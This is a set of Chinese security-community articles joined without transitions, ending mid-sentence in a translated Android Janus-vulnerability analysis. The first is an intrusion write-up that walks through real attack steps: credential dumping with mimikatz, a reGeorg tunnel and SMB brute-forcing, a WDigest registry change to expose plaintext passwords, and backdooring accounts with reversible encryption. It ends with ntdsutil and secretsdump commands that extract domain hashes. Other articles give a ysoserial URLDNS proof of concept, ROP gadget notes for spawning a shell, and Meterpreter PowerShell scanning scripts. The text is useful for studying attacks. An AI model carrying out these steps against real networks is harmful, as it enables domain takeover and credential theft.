# 获得指定账户someuser的详细信息net user someuser /domain
... ...
获取主机中的账号密码（列举部分工具）：
wce-universal、mimikatz、lazagne、SharpHound
通过对主机信息进行收集发现此主机不可出网，并且处于域环境（dgpublic）中，且主机同段存在其它域主机。
发现的部分主机：
PublicNetwork-DC$ 10.10.100.80(域控)
IT-SUPPORT-JOHN$ (为解析到ip，可能不在线)
MYSQL$ 10.10.100.121
WWW$ 10.10.100.111（webshell位置）
未知 10.10.100.131（可能是边界设备）
未知 10.10.100.157
根据主机名和域账户名对比发现部分对照关系，比如 john 员工的主机名为 IT-SUPPORT-JOHN，根据主机名和john在域管组中的信息，猜测
john 为目标内部网络管理员，通过查看 john 账户状态发现其账号处于活跃状态，此账户的情况可以在后续横向移动中重点关注。
在禅道系统主机上获取到域账号public-www/P@ssw0rd!@#$，但由于权限较低，无法登录其他主机，仅可在当前主机进行登录。
接下来把自己流量代理进去，上传reGeorg流量代理工具，成功把流量代理进去。
通过 proxychains
将msf代理进去，先使用auxiliary/scanner/smb/smb_version模块对已发现网段进行信息探测。防止扫描流量过大被发现，线程建议开最低。
在扫描结果中发现 IT-SUPPORT-JOHN
主机，其IP就是10.10.100.157，并且其所属域已经更改，已经不在当前域中（dgpublic），但域中主机信息未删除，所以前面进行解析时没有接触出其IP地址，现在位于dgoffice域，根据所在域的名字判断其为目标办公域。
经过对内部网络进行探测，发现之前疑似边界设备上开放着8443的端口，通过访问查看分析确定其为 CISCO VPN
登陆地址。但在外部进行端口扫描却未发现开放此端口。猜测此VPN是对内部使用的，在横向移动过程中，并没有在其中发现能直接出网的机器，所以结合已有信息分析，判断内部网络不允许直接出网，内部员工有上网需要时，通过连接此
VPN 访问外部网络。
随后使用获取到的密码制作字典，并用msf的auxiliary/scanner/smb/smb_login对dgpublic域的域账号进行爆破。成功爆破出public-mysql的密码。
使用public-mysql账号成功获取MYSQL$主机shell，在此主机上发现 john 用户远程登陆此设备，于是赶紧提取其账号密码。
成功获取到 john 的账号密码，由于用户 john 在域管理员组中，于是直接使用 john 账户远程域控（PublicNetwork-DC），拿下dgpublic域的域控。
域控主机是windows
2012的系统，无法直接获取域管Administrator的密码，所以先修改其注册表，使系统在内存缓存账号明文，这样当管理员重新登陆后就可以提取明文密码了。
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
经过等待，成功等到了Administrator重新登陆的机会，这哪能放过，成功提取Administrator账户明文密码。到此关于dgpublic域的渗透基本完成。
## 跨域
开始尝试向目标办公域移动，在内部主机的探测结果中只发现了 IT-SUPPORT-JOHN 主机位于 DGOFFICE 域中，猜测所在的域和 DGOFFICE
域进行了隔离。所以想进入DGOFFICE域就要从 IT-SUPPORT-JOHN 主机入手，尝试使用获取到的 john 账户密码登录 IT-SUPPORT-JOHN ，发现无法登录，判断更换域后密码可能进行了更换。
于是这里有了一个想法，既然依然在使用dgpublic域中的 john 账号，那么当 john
需要修改密码时，他是否有可能设置为和另一个域相同的登录密码。由于无法确定其下次在那台主机上登录，所以需要开启 john 域账户的 使用可逆加密存储密码选项。
如图中的形式设置可以让他下次登陆时必须设置一个新密码，并且在域控中使用可逆加密存储新密码，这样当他修改密码后，就可以通过在域控上提取域快照直接获取其修改后的明文密码。为了防止其修改密码后我们无法再使用john账户登录，所以在域控上先留下后门备用。设置完成后，只需要进行等待，等待其下一次登录。
关于“使用可逆加密存储密码”这里进行下介绍：
官方介绍： https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption
获取到明文并不意味着域账户密码是在域控上以明文形式存储的，它们在系统中使用可逆算法加密，所以是以加密形式在域控上存储的。而用于加密和解密的密钥是SYSKEY，它一般存储在注册表中，可以由域管理员提取。这意味着密文可以简单地逆向为明文值，因此称为“可逆加密”。
也可以通过本地安全策略->安全设置->账户策略->密码策略来设置：
可以使用如下命令获取域中设置了可逆加密标志的用户列表：
Get-ADUser -Filter 'useraccountcontrol -band 128' -Properties useraccountcontrol | Format-Table name, samaccountname,useraccountcontrol
功夫不负有心人，在又等待了一段时间后，查看到 john 账户在域中再次被使用过，并修改了密码，但并不知道在哪台主机上使用的。
这样就直接远程域控，通过提取域快照获取其新密码。
ntdsutil "ac i ntds" "ifm" "create full c:windowstemptemp" q q
提取成功后，下载 SYSTEM 和 ntds.dit 文件到本地进行操作。
使用 impacket 中的 secretsdump 提取。
impacket-secretsdump -system SYSTEM -ntds ntds.dit -outputfile hash.txt LOCAL
提取完成后查看提取出的 john 明文密码。
成功提取到 john 明文密码，使用此密码尝试登陆 IT-SUPPORT-JOHN 主机，由于没有开启3389，所以使用 net use 挂载其 c 盘。
账号密码可用，成功进入DGOFFICE域，到此，对于目标的第一阶段渗透已经完成。下面邀请灵魂画手绘制现阶段的网络拓扑。 | 社区文章 |
# JAVA反序列化-ysoserial-URLDNS原理分析
# `ysoserial`
java反序列化工具，利用它通过指定利用链，获取恶意代码序列化之后的内容，将内容发送给目标，目标对内容发序列化进而触发恶意代码。
## URLDNS
是`ysoserial`中对一个利用链，但是他不能把任何的命令作为参数，而是一个url，而且也不能执行任何命令，只能去请求一个url。
java -jar ysoserial.jar URLDNS "uht6g4.dnslog.cn"
具体的利用代码就是这样：
public class danDemo{
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://ym6ffz.dnslog.cn");
url.hashCode();
}
}
### 具体分析
#### URL类
主要是处理URL。
#### hashCode
`java`的`Object`的类方法，在许多类中都会继续使用该方法。主要是解决我们在比较数据的时候，挨个对象使用`equals`方法比较导致花费时间太长的问题。
比如说一个列表中有十万个数据，要插入一个数据，如果已存在则不插入，不存在则插入，所以就需要去比较一下每个数据是否与插入数据相等，相等则代表已存在。十万条数据逐个去调用equals()是不是相等，花费的时间就很长。
`ideal`分析
以下代码下断点：
url.hashCode();
首先进去`URL.java`类的`hashCode`方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
//返回hashCode为-1
继续进入以下函数
hashCode = handler.hashCode(this);
进入`URLStreamHandler.java`类的`hashCode`函数
该函数传入一个url，然后使用一下函数获取url的内容。传入url`http://ym6ffz.dnslog.cn`。
String protocol = u.getProtocol();
InetAddress addr = getHostAddress(u);
String file = u.getFile();
String ref = u.getRef();
四个变量对应的变量值为：
获取到url的每一部分的值之后会对每个值进行hashcode方法，然后将结果添加到h，最后该函数返回h值。
h += ref.hashCode();
在该类的hascode方法中会调用`getHostAddress`，会返回一个url的ip地址，所以我们使用该方法会去发起dns请求，请求一个url，获取ip。
public class danDemo{
public static void main(String[] args)
{
try
{
InetAddress ia1=InetAddress.getByName("www.qq.com");
System.out.println(ia1.getHostName());
System.out.println(ia1.getHostAddress());
}
catch(UnknownHostException e)
{
e.printStackTrace();
}
}
}
到这里，我们已经理解java是如何通过类和方法来发起请求获取ip地址的。我们说过主要是利用urldns获取反序列化数据，如果目标反序列化内容，会向目标url发起请求，这样就可以判定目标存在反序列化漏洞。发起请求有了，反序列化在哪里呢？这就要看hashmap类。
#### HashMap类
作用是用来存储内容，内容以键值对的形式存放。
import java.util.HashMap;
public class RunoobTest {
public static void main(String[] args) {
// 创建 HashMap 对象 Sites
HashMap<Integer, String> Sites = new HashMap<Integer, String>();
// 添加键值对
Sites.put(1, "Google");
Sites.put(2, "Runoob");
Sites.put(3, "Taobao");
Sites.put(4, "Zhihu");
System.out.println(Sites);
}
}
输出
{1=Google, 2=Runoob, 3=Taobao, 4=Zhihu}
直接在`ideal`中查看该类，首先该类继承`Serializable`接口，一个类继承该接口可以进行反序列化处理。
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable
并且该类还具有一下两个方法：
private void writeObject(java.io.ObjectOutputStream s) throws IOException
//对数据序列化
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
//对数据反序列化
对于Java对象序列化操作的类是ObjectOutputStream，反序列化的类是ObjectInputStream。ObjectOutputStream,它提供了不同的方法用来序列化不同类型的对象，比如writeBoolean,wrietInt,writeLong等，对于自定义类型，提供了writeObject方法。
private void writeSerialData(Object obj, ObjectStreamClass desc)
throws IOException
{
ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();
for (int i = 0; i < slots.length; i++) {
ObjectStreamClass slotDesc = slots[i].desc;
if (slotDesc.hasWriteObjectMethod()) {//如果重写了writeObject方法
PutFieldImpl oldPut = curPut;
curPut = null;
SerialCallbackContext oldContext = curContext;
try {
curContext = new SerialCallbackContext(obj, slotDesc);
bout.setBlockDataMode(true);
slotDesc.invokeWriteObject(obj, this); //调用实现类自己的writeobject方法
bout.setBlockDataMode(false);
bout.writeByte(TC_ENDBLOCKDATA);
} finally {
//省略
}
curPut = oldPut;
} else {
defaultWriteFields(obj, slotDesc);
}
}
}
注意看
if (slotDesc.hasWriteObjectMethod())
slotDesc.invokeWriteObject(obj, this);
可以总结到
ObjectOutputStream中进行序列化操作的时候，会判断被序列化的对象是否自己重写了writeObject方法，如果重写了，就会调用被序列化对象自己的writeObject方法，如果没有重写，才会调用默认的序列化方法。
那么该类的方法是如何对传入的内容进行反序列化呢？可以具体的查看一下该方法：
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
对传入的内容进行反序列化，获得到key、value，然后对key传入hash方法。接下来在看一下hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
如果key不为空，则进行hashCode方法，而我们在前面提到url类的hashCode方法是可以发起url请求对。现在需要做的就是我们需要将一个内容传送给hashcode方法，对该内容反序列护化获取key、value。然后对key调用hascode方法，如果key是url对象，url对象的hashcode方法可以发起url请求。
#### 构造payload
思路：创建hashmap类-创建url类-将键值对写入到生成的hashmap对象中-对该对象进行序列化反序列化。
Map hashMap = new HashMap();
URL url = new URL("unveog.dnslog.cn");
hashMap.put(url,"steady");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
我们在上面讲过ObjectOutputStream中进行序列化操作的时候，对于传入的对象，如果该对象对应的类重写了writeObject方法，会调用该对象的方法，所以会调用HashMap的writeObject方法。
运行之后是无法发起dns请求的，原因是在执行以上代码的时候会执行以下函数，其中`hashCode`不为-1，不会继续执行
`handler.hashCode(this);`。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
问题就来了我们在开头的代码如下，也调用了hashCode方法，为什么此时的`hashCode`不满足`hashCode != -1`条件呢？
public class danDemo{
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://unveog.dnslog.cn");
url.hashCode();
}
}
原因就在与`hashMap.put(url,"test");`。put方法的具体代码
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
也就是说在我们反序列化之前就已经调用过hashcode方法，此时的hashcode缓存下来，即 hashcode 不为
-1。然后在反序列化的时候又一次调用hashcode方法，所以此时满足条件，进而不会继续执行代码发起dns请求。
在这里我们再次分别对两次代码下断点，这次主要是看看每次的hashcode值是多少。
第一次：
执行`url.hashCode();`之后hashcode值是-1，直接不满足条件进入接下来的代码发起dns请求。
第二次：
`hashMap.put(url,"test");` 下断点，会第一次调用`hashcode`方法，此时hashcode值为-1。
继续调试注意看就是在此时发hashcode的值缓存，为`2133919961`
接着本来想在`ois.readObject();`下断点一次次的跟进调试，但是死活找不到调用`hashcode`方法的地方。但是我们肯定，二次的`hashCode`方法是在反序例化的时候调用的，所以在hashmap类中的反序列化方法中下断点
putVal(hash(key), key, value, false, false);
调试跟进，可以看到此时的hashcode的值，这样在反序列化的时候是发起不了dns请求的。
归根结底就是hashcode的值问题，修改一下就ok，所以我们用到反射的知识，在代码运行的时候动态的修改类的属性值，其中`getDeclaredField`方法获取一个类的所有成员变量，不包括基类。
Field field = u.getClass().getDeclaredField("hashCode");//获取变量之后进行修改。
field.setAccessible(true);
field.set(u,-1);//修改变量。
最终代码
public class danDemo{
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://unveog.dnslog.cn");
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url,"steady");
f.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
最后成功发起请求。 | 社区文章 |
# Linux x64 下的万能 Gadget
来源：[香依香偎@闻道解惑](https://mp.weixin.qq.com/s/5bxE0h7luKIb2Vn353wQgw)
## 一、通用 Gadget
蒸米在《一步一步学ROP之linux_x64篇》中提到，在栈溢出的场景下，只要 **x64** 程序中调用了 **libc.so**
，就会自带一个很好用的通用Gadget： **__libc_csu_init()** 。
如图，先从 **0x40061A** 开始执行，将 **rbx/rbp/r12/r13/r14/r15** 这六个寄存器全部布置好，再 **ret** 到
**0x400600** ，继续布置 **rdx/rsi/rdi** ，最后通过 **call qword ptr[r12+rbx*8]** 执行目标函数。
这个通用 **Gadget** 好用的地方在于，不仅可以通过函数地址的指针（通常会用记录库函数真实地址的 **got**
表项）来控制目标函数，还可以控制目标函数的最多三个入参（ **rdi/rsi/rdx** ）的值。此外，只要设置 **rbp=rbx+1**
而且栈空间足够，这个 **Gadget** 可以一直循环调用下去。
计算一下一次调用需要的空间。
可以看出，这个 **Gadget** 需要布置六个寄存器（ **rbx/rbp/r12/r13/r14/r15** ）加一个 **ret** 返回地址，
**x64** 下至少需要 **56** 个字节的栈空间。如果再算上将 **rip** 指令跳转进来（0x40061A）的一个 **ret** 地址，那就是
**64** 字节的栈空间。
栈的布置如下：
## 二、隐藏 Gadget：pop rdi,ret
其实，这个通用 **Gadget** 里，还隐藏了两个更简单的 **Gadget** 。
将地址 **0x400622** 上 **pop r15,ret** 的三字节指令( **0x41 0x5F 0xC3**
)拆散看，会发现后两个字节组成了一组新的指令 **pop rdi,ret** 。
这已经足够完成单入参的函数调用了。
通常栈溢出之后，需要进行如下两步：
* 1、通过类似 **puts(puts)** 的方式，泄漏libc库函数的地址，从而通过偏移计算出 **system** 函数和 **"/bin/sh"** 字符串的地址
* 2、执行 **sytem("bin/sh")** 获得系统 **shell**
发现没有？大多数情况我们只需要一个入参的函数调用， **__libc_csu_init()** 函数最后的这个 **pop rdi,ret**
可以完美实现上述两个步骤。
空间上，只需要 **24** 个字节（一个 **QWORD** 存放 **ret** 进来的地址，两个 **QWORD**
作为入参和被调用函数地址）的溢出空间就足够啦。
栈的空间布置如下：
那，如果需要调用两个入参的函数呢，这个 **Gadget** 也行么？是的。
## 三、隐藏 Gadget：pop rsi,...,ret
将地址 **0x400620** 上 **pop r14** 的两字节指令（ **0x41 0x5E** ）拆散，会发现后一个字节是单字节指令 **pop
rsi** ，可以用来控制第二个入参。
和前述的地址 **0x400623** 上的指令 **pop rdi,ret** 组合起来，就可以完成两个入参的函数调用。
只需要将栈布置如下就可以啦。
## 四、总结
* 1、只要 **Linux x64** 的程序中调用了 **libc.so** ，程序中就会自带一个很好用的通用Gadget： **__libc_csu_init()** 。
* 2、 **__libc_csu_init()** 的 **0x400600** 到 **0x400624** 其中包含了 **pop rdi** 、 **pop rsi** 、 **pop rdx** 、 **ret** 等指令，通过巧妙的组合可以实现调用任意单参数、双参数、三参数的函数，从而顺利泄漏libc函数地址并且获取系统 **shell** 。
* 3、 **__libc_csu_init()** 不只是一个通用 **Gadget** ，完全就是“万能 **Gadget** ”！
## 参考阅读：
[1] 蒸米《一步一步学ROP之linux_x86篇》：<https://zhuanlan.zhihu.com/p/23487280>
[2] 蒸米《一步一步学ROP之linux_x64篇》：<https://zhuanlan.zhihu.com/p/23537552> | 社区文章 |
## 前言
MSF是一个功能强大的渗透测试工具，它可以帮助安全研究人员和渗透测试人员识别漏洞、开发漏洞利用和执行攻击，而Powershell作为内置于Windows操作系统中的功能强大的脚本语言，其本身具有执行命令、访问操作系统API、访问文件系统等强大的功能。此外，Powershell还具有使用内存进行攻击、绕过安全防御系统检测等特性，因此它可以成为攻击者进行内网渗透的理想工具。本文将演示本地PowerShell攻击与Meterpreter有效负载进行集成攻击。
## 实战演示
首先我们在受害者系统上建立Meterpreter有效负载
通过运行 load powershell 来加载 PowerShell 扩展
加载 PowerShell 扩展后，我们可以访问四个与 PowerShell 相关的命令：
`powershell_execute`：执行 PowerShell 语句，包括用分号分隔的复杂语句
`powershell_import`：导入本地 PowerShell 脚本，以通过 Meterpreter 通道在远程系统上执行
`powershell_shell`：启动交互式 PowerShell 外壳
`powershell_session_remove`：用于在创建 PowerShell 会话时使用 -s 参数执行/导入/外壳
`powershell_execute`命令很简单：执行一个或多个 PowerShell 语句并返回输出：
### ARP枚举
使用 PowerShell 的 `Get-NetNeighbor cmdlet` 来发现本地系统已知的 LAN 上的其他主机，具体命令如下：
powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress'
### ping 扫描
利用 foreach 循环和 PowerShell 管道，使用 `Test-Connection` 执行 ping 扫描以识别其他主机：
meterpreter > powershell_execute '1..254 | foreach { "192.168.171.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName 192.168.171.${_} -Quiet)" }'
192.168.171.1: True
192.168.171.2: False
192.168.171.3: False
192.168.171.4: False
192.168.171.5: False
192.168.171.6: False
192.168.171.7: False
192.168.171.8: False
192.168.171.9: False
192.168.171.10: True
192.168.171.11: True
192.168.171.12: False
192.168.171.13: False
192.168.171.14: False
192.168.171.15: False
192.168.171.16: False
192.168.171.17: False
192.168.171.18: False
192.168.171.19: False
192.168.171.20: False
192.168.171.21: True
...
### PowerShell 端口扫描
PowerShell中使用`Test-NetConnection -ComputerName -Port`的内置TCP端口扫描仪功能
powershell_execute 'Test-NetConnection -ComputerName 192.168.171.21 -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded'
利用上面的命令能得到正确结果，但是需要的时间有点长，因为`Test-NetConnection` 在发送 TCP
端口测试之前会发送大量流量来验证主机是否已启动，从而产生大量开销，导致需要大量的时间。所以下面我们直接调用 TcpClient .NET
类，来构成命令如下：
`1..1024 | foreach {echo ((New-Object
Net.Sockets.TcpClient).Connect("192.168.171.21",$_)) "Port $_ is open!"}
2>$null`
使用 TcpClient .NET 类比 `Test-NetConnection`
快，但仍然相当慢，主要原因是当端口被过滤或未响应打开或关闭的消息时会消耗大量时间。通过编写如下脚本来优化速度：
Function Test-CommonTCPPorts {
Param($address, $timeout=1000)
$ports = @(21,22,23,25,53,80,81,110,111,113,135,139,143,179,199,443,445,465,514,548,554,587,993,995,1025,1026,1720,1723,2000,3306,3389,5060,5900,6001,8000,8080,8443,8888,10000,32768)
ForEach ($port in $ports) {
$socket=New-Object System.Net.Sockets.TcpClient
try {
$result=$socket.BeginConnect($address, $port, $null, $null)
if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) {
throw [System.Exception]::new("Connection Timeout")
}
"$port - open"
} catch {
"$port - closed"
}
finally {
$socket.Close()
}
}
}
在`Test-CommonTCPPorts`中，根据Nmap工具中的文件，使用了前20个最常见的TCP端口列表进行扫描。并没有在 TcpClient
.NET 类中使用 Connect（） 方法，而是使用 BeginConnect（），它能够在端口没有响应时指定更短的超时值，接着我们可以使用 msf
将此脚本加载到内存中。
Function Test-CommonTCPPorts { Param($address, $timeout=1000); $ports = @(21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080); ForEach ($port in $ports) { $socket=New-Object System.Net.Sockets.TcpClient; try { $result=$socket.BeginConnect($address, $port, $null, $null); if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) { throw [System.Exception]::new("Connection Timeout") } "$port - open" } catch { "$port - closed" } finally { $socket.Close() } } }
当被加载到PowerShell命名空间中，我们就可以调用它来扫描系统，可以选择指定一个超时时间来加速扫描（此处将超时持续时间减少到 500 毫秒）：
meterpreter > powershell_execute 'Test-CommonTCPPorts 192.168.171.21 500'
[+] Command execution completed:
21 - closed
22 - closed
23 - closed
25 - closed
53 - closed
80 - closed
110 - closed
111 - closed
135 - open
139 - open
143 - closed
443 - closed
445 - open
993 - closed
995 - closed
1723 - closed
3306 - closed
3389 - closed
5900 - closed
8080 - closed
### 枚举 SMB 共享
了解目标系统和侦听服务后，我们可以依靠其他 PowerShell 功能来进一步枚举系统。可以使用 Get-WmiObject 类win32_share枚举
SMB 共享：
### 利用Nishang
Nishang是一个基于Powershell编写的开源渗透测试和后渗透框架，它包含了一系列的Powershell脚本和模块，可用于执行多种内网渗透和后渗透任务。Nishang包含了许多有用的工具和模块，包括以下几个方面：
1、网络扫描和信息收集：Nishang提供了一些用于扫描和信息收集的Powershell脚本，如Portscan.ps1、Get-ADUsers.ps1和Get-NetStat.ps1等。这些脚本可用于扫描网络端口、收集系统信息、获取用户列表等。
2、漏洞利用和权限提升：Nishang提供了一些漏洞利用和权限提升的Powershell脚本和模块，如Invoke-Mimikatz.ps1、Invoke-MS16-032.ps1和Invoke-PsExec.ps1等。这些工具可以帮助攻击者获取系统权限、突破防御系统等。
3、后渗透功能：Nishang提供了一些后渗透功能的Powershell脚本和模块，如Invoke-PowerShellTcp.ps1、Invoke-PowerShellUdp.ps1和Invoke-Encode.ps1等。这些脚本可以帮助攻击者在目标系统上建立反向Shell、执行命令、上传和下载文件等。
Meterpreter中最强大的PowerShell功能是能够使用powershell_import将攻击者系统的本地脚本加载到Meterpreter
PowerShell环境中。这使我们能够通过 Meterpreter 将 PowerShell
脚本与目标系统集成，而无需将脚本作为文件上传到受感染的系统上。
直接使用 git 将 Nishang 下载到目录中。我们就可以直接从 Metasploit 控制台执行此操作：
Nishang脚本脚本地址：<https://github.com/samratashok/nishang.git>
meterpreter > background
[*] Backgrounding session 8...
msf6 exploit(windows/smb/psexec) > git clone https://github.com/samratashok/nishang.git
[*] exec: git clone https://github.com/samratashok/nishang.git
Cloning into 'nishang'...
remote: Enumerating objects: 1699, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 1699 (delta 2), reused 4 (delta 1), pack-reused 1691
Receiving objects: 100% (1699/1699), 10.88 MiB | 2.01 MiB/s, done.
Resolving deltas: 100% (1061/1061), done.
msf6 exploit(windows/smb/psexec) > sessions -i 8
[*] Starting interaction with 8...
meterpreter >
使用攻击者系统上的Nishang脚本，我们可以通过 Meterpreter 导入并执行：
meterpreter > powershell_import nishang/Gather/Get-Information.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute Get-Information
[+] Command execution completed:
ERROR: get-childitem : Cannot find path 'HKEY_CURRENT_USER\software\simontatham\putty' because it does not exist.
ERROR:
ERROR: At line:27 char:34
ERROR: + else{$key = get-childitem <<<< $regkey}
...
Account Policy:
Force user logoff how long after time expires?: Never
Minimum password age (days): 0
Maximum password age (days): Unlimited
Minimum password length: 0
Length of password history maintained: None
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: WORKSTATION
The command completed successfully.
## 总结
Powershell可以用于编写各种恶意软件，例如免杀木马、后门、勒索软件等。攻击者可以编写Powershell脚本来实现各种功能，例如通过网络传播、远程执行恶意代码、窃取敏感数据等。此外，攻击者还可以使用Powershell与其他工具和技术结合使用，例如Metasploit、Powercat、Netcat等。在我们去分析学习powershell语言时，我们可以通过他人编写的脚本进行改写，来快速达到我们的使用需求。 | 社区文章 |
# 趋势科技关于Janus漏洞最新利用情况的分析
##### 译文声明
本文是翻译文章，文章原作者 Veo Zhang，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/janus-android-app-signature-bypass-allows-attackers-modify-legitimate-apps/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
Android在2017年12月发布的[安全更新](https://source.android.com/security/bulletin/2017-12-01)中修复了一个严重漏洞，利用该漏洞时，攻击者可以在不影响已安装应用签名的前提下对应用进行修改。这样一来，攻击者就能（间接）获得受影响设备的访问权限。研究人员在[7月份](https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures)首次发现了这一情况，该漏洞（编号为CVE-2017-13156，也称为Janus漏洞）影响5.1.1到8.0版本的Android系统，全世界约有[74%](https://developer.android.com/about/dashboards/index.html)的Android设备安装了这些系统，覆盖范围极广。
在实际环境中，我们发现至少已经有一个app在利用这种技术。使用该漏洞后，移动安全解决方案更加难以检测到这个恶意应用。在不久的将来，攻击者可能会利用该漏洞危害其他应用，获取用户的隐私信息。
## 二、漏洞分析
Android应用的安装包（`.APK`文件）实际上是`.ZIP`文件，而`.ZIP`文件格式中有一些特性会导致这种攻击条件成立。典型的`.ZIP`文件结构如下图所示：
图1. `.ZIP`文件结构
文件结构包含3个部分：File Entries、Central Directory以及End of Central Directory。Central
Directory中包含压缩文件中每个文件的相关信息，应用程序可以使用该目录来定位内存位置，以访问所需的文件。
然而，ZIP文件并不要求每个file entry紧挨在一起，我们甚至可以在两个file entry之间插入任意数据，如下图所示：
图2. `.ZIP`文件结构（红色区域为任意数据）
攻击者可以将恶意DEX文件放在APK文件开头处，如下图所示。如果Android系统存在该漏洞，那么系统就会将其识别成有效的APK文件并尝试执行该文件。
图3. 将DEX插入APK文件中
Android
Runtime（ART）负责从APK文件中加载DEX代码。在检查该文件时，由于DEX代码位于文件头部，因此ART会将其识别为DEX文件并直接执行。ART会将后面的代码（即原始的APK文件内容）当成垃圾数据并忽略这些数据。尽管如此，ART还是认为这是一个有效的APK文件，访问这个APK数据（如resources以及assets）的过程与普通app类似。
## 三、漏洞影响
一般而言，恶意软件可以通过两种方式来滥用这个漏洞。
首先，攻击者可以利用该漏洞来隐藏攻击载荷。恶意软件可以将恶意载荷存放在APK文件中，借此伪装成一个无害的DEX文件，以待后续被加载。前面提到过的那个应用使用的就是这种方法，下文会详细介绍这一点。
其次，攻击者不需要原始开发者的帮助就可以更新设备上已安装的某个应用。攻击者可以利用这个漏洞来访问原始应用中受保护的数据，如用户凭据信息以及个人隐私信息。此外，冒用合法应用的身份也可以绕过某些安全防护产品。
## 四、实际攻击活动
漏洞细节公之于众后，我们检查了已有的一些恶意软件样本，想验证是否已经有些恶意软件样本使用了这个漏洞。我们发现的确有一个恶意软件样本用到了这个漏洞，但漏洞的利用方法与我们原来设想的并不相同。我们将这个样本标记为`ANDROIDOS_JANUS.A`。我们还与Google合作，采取了适当的措施，提醒用户相关风险（Google已将该应用标记为恶意应用）。
这个应用之前在Google Play上为一款垃圾清理程序，但更新后变成了一款新应用，并没有在Play商店中上架。
图4. 利用Janus漏洞的新版app的图标
这款恶意软件利用该漏洞来实现动态代码加载。嵌入的DEX文件只包含一小段攻击载荷，这段载荷从各种资源中解密真正的载荷，然后动态加载真正的载荷。攻击者利用Janus漏洞构造了一个异常的应用，应用头部为DEX文件，真正的载荷隐藏在之后的APK代码中。之所以这么做是为了绕过恶意软件扫描程序，这些安防产品可能会将这个文件当成DEX文件，判断其为无害文件，忽略掉其中的恶意代码。
恶意软件会在Android设备启动时以后台服务形式运行，连接到C&C服务器，接收服务器返回的命令以安装更多恶意软件，这些是我们目前观察到的恶意行为。
图5. 下载其他恶意软件的代码片段
攻击者可以使用Janus漏洞来恶意更新设备上已安装的应用。分析这款恶意软件代码后，我们发现它并没有更新任何应用，只是使用Janus漏洞来规避安防产品。然而，恶意软件可能会使用这种攻击方法来化身成下载器（downloader），我们不能排除这种可能性。
## 五、开发者如何防护
Android 7.0（Nougat）中引入了一种新的签名机制（signature scheme
v2）。新的签名机制中，签名证书及摘要不再位于meta区域中，而是位于APK文件中的一个APK签名区域中，新的签名区域位于File
Entries以及Central Directory之间。这样就能保护其他3个区域的完整性。
图6. APK文件中的签名区域
新的签名机制中，file
entry之间仍然可以存在间隙。然而，系统会检查从文件头开始到APK签名区域之间的一整段数据，这意味着任何篡改动作都会破坏签名的完整性。这种情况下，攻击者还是有可能将DEX文件插入头部中，然而如果想成实施攻击，攻击者还是需要重新签名APK签名区域。
出于兼容性考虑，开发者通常更倾向于采用混合签名方案（同时使用v1及v2方案），此时的防护效果因设备而异。在支持这种特性的设备上，由于存在回滚保护（rollback
protection）特性，设备会强制使用v2签名机制。
图7. 回滚保护
在搭载老版本Android系统的设备上，如果这些系统只支持v1版的签名机制，那么攻击者仍然可能针对这些设备发起攻击。话虽如此，在Nougat系统普及到更多设备之前，我们还是建议开发者继续使用混合签名方案。
## 六、总结
这个漏洞在影响力方面与几年前Android系统的[Master Key漏洞](https://blog.trendmicro.com/trendlabs-security-intelligence/master-key-android-vulnerability-used-to-trojanize-banking-app/)不相上下。这两个漏洞都可以让攻击者在不引起用户注意的情况下修改合法应用。
如果利用该漏洞的恶意应用成功混入应用商店，那么用户将同时面临两个安全风险：要么恶意应用会伪装成合法应用成功传播，要么恶意应用通过应用商店安装到用户设备上，修改大量合法应用。
并非所有的移动安全解决方案都能从容应付这个挑战。嵌入在普通应用程序中的恶意DEX代码能够成功规避许多安全解决方案。企业级MDM（移动设备管理）解决方案同样有可能检测不到这类应用，并且这些安全应用本身也有可能被这类应用所篡改。应用厂商应该进一步提升自身实力，才能更好地扫描并检测恶意Android应用。
趋势科技提供的安全解决方案（如[Mobile Security for
